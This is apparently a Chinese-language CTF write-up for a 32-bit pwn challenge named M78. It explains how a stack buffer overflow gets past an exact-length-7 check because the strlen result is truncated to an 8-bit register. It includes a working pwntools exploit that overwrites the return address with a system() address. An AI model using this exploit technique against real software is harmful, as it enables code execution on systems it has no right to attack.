首先我们发现了一个漏洞
这里读入0x199大小的buf,而下面的check函把buf的内容付给dest,而dest大小显然溢出了
但是我们发现这个题目有字符串长度限制必须等于7,我们要溢出至少需要34个字节,这就是这题的主要难点
strlen是一个统计字符串长度的函数 然后我们这次说的题就是关于strlen返回值造成溢出的问题,我们知道strlen是计算字符串长度的函数,但是很多人不知道srtlen的返回值是无符号整数
在32的系统中有这么一种情况strlen 的结果的返回值给8位寄存器al那么8位最多是多少? 255 如果我们多输入会怎么办
我们如果输入257二进制是多少呢000000001这个应该是没有什么好说的那么假如我们输入了257个字符那么最后统计的结果还是1,要满足7的条件也很好搞定
exp
from pwn import *
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
p = process("./M78")
elf = ELF("./M78")
system_addr = 0x8049202
p.recvuntil("Your choice?")
p.sendline("1")
p.recvuntil("Please choose a building")
p.send("lxonz")
p.recvuntil("Please input the password")
payload = 'a'*28+ p32(system_addr)
payload = payload.ljust(0x107, 'a')
gdb.attach(p)
p.send(payload)
p.recvuntil("Enjoy it~")
p.interactive()